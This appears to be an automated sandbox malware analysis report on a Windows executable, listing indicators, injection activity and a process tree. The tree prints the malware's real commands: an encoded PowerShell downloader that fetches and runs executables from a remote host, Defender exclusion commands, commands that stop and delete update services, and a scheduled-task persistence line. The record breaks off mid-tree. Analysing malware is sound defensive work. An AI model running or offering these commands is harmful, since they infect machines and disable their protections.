702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33

Analysis

max time kernel
101s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
16/01/2023, 00:40

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General

Target

17855519b9e1bde7cabf66a422b5671d4d462968.exe
Size

365KB
MD5

ee244310289c82ebe8c73cfd83329f49
SHA1

17855519b9e1bde7cabf66a422b5671d4d462968
SHA256

702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33
SHA512

20053cb845d1ef2845c85596f0d214b04fc8301cb783d8631ca8504af26706e78f046d691a65d1bd8fb9f15ff22e3136d5771f5a9394eb8d534afcc90f350d2b
SSDEEP

6144:xVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO19AjWbc:xRDF2BpjLQLsvBP0+ecyEY37CGP

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 2300 created 2340	2300	SmartDefRun.exe	78
PID 2300 created 2340	2300	SmartDefRun.exe	78
PID 2300 created 2340	2300	SmartDefRun.exe	78
PID 2300 created 2340	2300	SmartDefRun.exe	78
PID 4628 created 576	4628	powershell.EXE	7

Blocklisted process makes network request 4 IoCs

flow	pid	Process
23	4740	powershell.exe
32	4740	powershell.exe
51	4740	powershell.exe
53	4740	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 2 IoCs

pid	Process
4712	SysApp.exe
2300	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\klService.exe	SysApp.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4972 set thread context of 4188	4972	17855519b9e1bde7cabf66a422b5671d4d462968.exe	84
PID 4712 set thread context of 2696	4712	SysApp.exe	97
PID 2300 set thread context of 1292	2300	SmartDefRun.exe	121
PID 4628 set thread context of 2040	4628	powershell.EXE	126

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4956	sc.exe
4112	sc.exe
1964	sc.exe
3256	sc.exe
1920	sc.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3248	4972	WerFault.exe	82

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2064	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
4740	powershell.exe
4740	powershell.exe
2300	SmartDefRun.exe
2300	SmartDefRun.exe
3028	powershell.exe
3028	powershell.exe
2300	SmartDefRun.exe
2300	SmartDefRun.exe
2300	SmartDefRun.exe
2300	SmartDefRun.exe
2984	powershell.exe
2984	powershell.exe
2300	SmartDefRun.exe
2300	SmartDefRun.exe
4628	powershell.EXE
4628	powershell.EXE
3252	powershell.EXE
3252	powershell.EXE
4628	powershell.EXE
2040	dllhost.exe
2040	dllhost.exe
2040	dllhost.exe
2040	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeIncreaseQuotaPrivilege	2984	powershell.exe
Token: SeSecurityPrivilege	2984	powershell.exe
Token: SeTakeOwnershipPrivilege	2984	powershell.exe
Token: SeLoadDriverPrivilege	2984	powershell.exe
Token: SeSystemProfilePrivilege	2984	powershell.exe
Token: SeSystemtimePrivilege	2984	powershell.exe
Token: SeProfSingleProcessPrivilege	2984	powershell.exe
Token: SeIncBasePriorityPrivilege	2984	powershell.exe
Token: SeCreatePagefilePrivilege	2984	powershell.exe
Token: SeBackupPrivilege	2984	powershell.exe
Token: SeRestorePrivilege	2984	powershell.exe
Token: SeShutdownPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeSystemEnvironmentPrivilege	2984	powershell.exe
Token: SeRemoteShutdownPrivilege	2984	powershell.exe
Token: SeUndockPrivilege	2984	powershell.exe
Token: SeManageVolumePrivilege	2984	powershell.exe
Token: 33	2984	powershell.exe
Token: 34	2984	powershell.exe
Token: 35	2984	powershell.exe
Token: 36	2984	powershell.exe
Token: SeIncreaseQuotaPrivilege	2984	powershell.exe
Token: SeSecurityPrivilege	2984	powershell.exe
Token: SeTakeOwnershipPrivilege	2984	powershell.exe
Token: SeLoadDriverPrivilege	2984	powershell.exe
Token: SeSystemProfilePrivilege	2984	powershell.exe
Token: SeSystemtimePrivilege	2984	powershell.exe
Token: SeProfSingleProcessPrivilege	2984	powershell.exe
Token: SeIncBasePriorityPrivilege	2984	powershell.exe
Token: SeCreatePagefilePrivilege	2984	powershell.exe
Token: SeBackupPrivilege	2984	powershell.exe
Token: SeRestorePrivilege	2984	powershell.exe
Token: SeShutdownPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeSystemEnvironmentPrivilege	2984	powershell.exe
Token: SeRemoteShutdownPrivilege	2984	powershell.exe
Token: SeUndockPrivilege	2984	powershell.exe
Token: SeManageVolumePrivilege	2984	powershell.exe
Token: 33	2984	powershell.exe
Token: 34	2984	powershell.exe
Token: 35	2984	powershell.exe
Token: 36	2984	powershell.exe
Token: SeIncreaseQuotaPrivilege	2984	powershell.exe
Token: SeSecurityPrivilege	2984	powershell.exe
Token: SeTakeOwnershipPrivilege	2984	powershell.exe
Token: SeLoadDriverPrivilege	2984	powershell.exe
Token: SeSystemProfilePrivilege	2984	powershell.exe
Token: SeSystemtimePrivilege	2984	powershell.exe
Token: SeProfSingleProcessPrivilege	2984	powershell.exe
Token: SeIncBasePriorityPrivilege	2984	powershell.exe
Token: SeCreatePagefilePrivilege	2984	powershell.exe
Token: SeBackupPrivilege	2984	powershell.exe
Token: SeRestorePrivilege	2984	powershell.exe
Token: SeShutdownPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeSystemEnvironmentPrivilege	2984	powershell.exe
Token: SeRemoteShutdownPrivilege	2984	powershell.exe
Token: SeUndockPrivilege	2984	powershell.exe
Token: SeManageVolumePrivilege	2984	powershell.exe
Token: 33	2984	powershell.exe
Token: 34	2984	powershell.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 4972 wrote to memory of 4188	4972	17855519b9e1bde7cabf66a422b5671d4d462968.exe	84
PID 4972 wrote to memory of 4188	4972	17855519b9e1bde7cabf66a422b5671d4d462968.exe	84
PID 4972 wrote to memory of 4188	4972	17855519b9e1bde7cabf66a422b5671d4d462968.exe	84
PID 4972 wrote to memory of 4188	4972	17855519b9e1bde7cabf66a422b5671d4d462968.exe	84
PID 4972 wrote to memory of 4188	4972	17855519b9e1bde7cabf66a422b5671d4d462968.exe	84
PID 4188 wrote to memory of 4740	4188	vbc.exe	88
PID 4188 wrote to memory of 4740	4188	vbc.exe	88
PID 4188 wrote to memory of 4740	4188	vbc.exe	88
PID 4740 wrote to memory of 4712	4740	powershell.exe	94
PID 4740 wrote to memory of 4712	4740	powershell.exe	94
PID 4740 wrote to memory of 4712	4740	powershell.exe	94
PID 4740 wrote to memory of 2300	4740	powershell.exe	96
PID 4740 wrote to memory of 2300	4740	powershell.exe	96
PID 4712 wrote to memory of 2696	4712	SysApp.exe	97
PID 4712 wrote to memory of 2696	4712	SysApp.exe	97
PID 4712 wrote to memory of 2696	4712	SysApp.exe	97
PID 4712 wrote to memory of 2696	4712	SysApp.exe	97
PID 4712 wrote to memory of 2696	4712	SysApp.exe	97
PID 2696 wrote to memory of 2064	2696	vbc.exe	98
PID 2696 wrote to memory of 2064	2696	vbc.exe	98
PID 2696 wrote to memory of 2064	2696	vbc.exe	98
PID 5020 wrote to memory of 4956	5020	cmd.exe	109
PID 5020 wrote to memory of 4956	5020	cmd.exe	109
PID 5020 wrote to memory of 4112	5020	cmd.exe	110
PID 5020 wrote to memory of 4112	5020	cmd.exe	110
PID 5020 wrote to memory of 1964	5020	cmd.exe	111
PID 5020 wrote to memory of 1964	5020	cmd.exe	111
PID 5020 wrote to memory of 3256	5020	cmd.exe	112
PID 5020 wrote to memory of 3256	5020	cmd.exe	112
PID 5020 wrote to memory of 1920	5020	cmd.exe	113
PID 5020 wrote to memory of 1920	5020	cmd.exe	113
PID 5020 wrote to memory of 4828	5020	cmd.exe	114
PID 5020 wrote to memory of 4828	5020	cmd.exe	114
PID 5020 wrote to memory of 2636	5020	cmd.exe	116
PID 5020 wrote to memory of 2636	5020	cmd.exe	116
PID 5020 wrote to memory of 3200	5020	cmd.exe	117
PID 5020 wrote to memory of 3200	5020	cmd.exe	117
PID 5020 wrote to memory of 4760	5020	cmd.exe	118
PID 5020 wrote to memory of 4760	5020	cmd.exe	118
PID 5020 wrote to memory of 2180	5020	cmd.exe	119
PID 5020 wrote to memory of 2180	5020	cmd.exe	119
PID 2300 wrote to memory of 1292	2300	SmartDefRun.exe	121
PID 4628 wrote to memory of 2040	4628	powershell.EXE	126
PID 4628 wrote to memory of 2040	4628	powershell.EXE	126
PID 4628 wrote to memory of 2040	4628	powershell.EXE	126
PID 4628 wrote to memory of 2040	4628	powershell.EXE	126
PID 4628 wrote to memory of 2040	4628	powershell.EXE	126
PID 4628 wrote to memory of 2040	4628	powershell.EXE	126
PID 4628 wrote to memory of 2040	4628	powershell.EXE	126
PID 4628 wrote to memory of 2040	4628	powershell.EXE	126
PID 4628 wrote to memory of 2040	4628	powershell.EXE	126
PID 2040 wrote to memory of 576	2040	dllhost.exe	7
PID 2040 wrote to memory of 660	2040	dllhost.exe	6
PID 2040 wrote to memory of 944	2040	dllhost.exe	14
PID 2040 wrote to memory of 1012	2040	dllhost.exe	10

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:660

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:576
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1012
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{15b1f8f6-2ff2-46cc-907a-519bf3c9e19b}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:944

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2340
- C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe
  "C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4972
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4188
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4740
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Drops startup file
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4712
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2696
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:2064
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2300
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4972 -s 312
    3⤵
    - Program crash
    PID:3248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3028
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5020
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4956
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4112
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1964
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3256
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1920
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4828
- - C:\Windows\System32\reg.exe
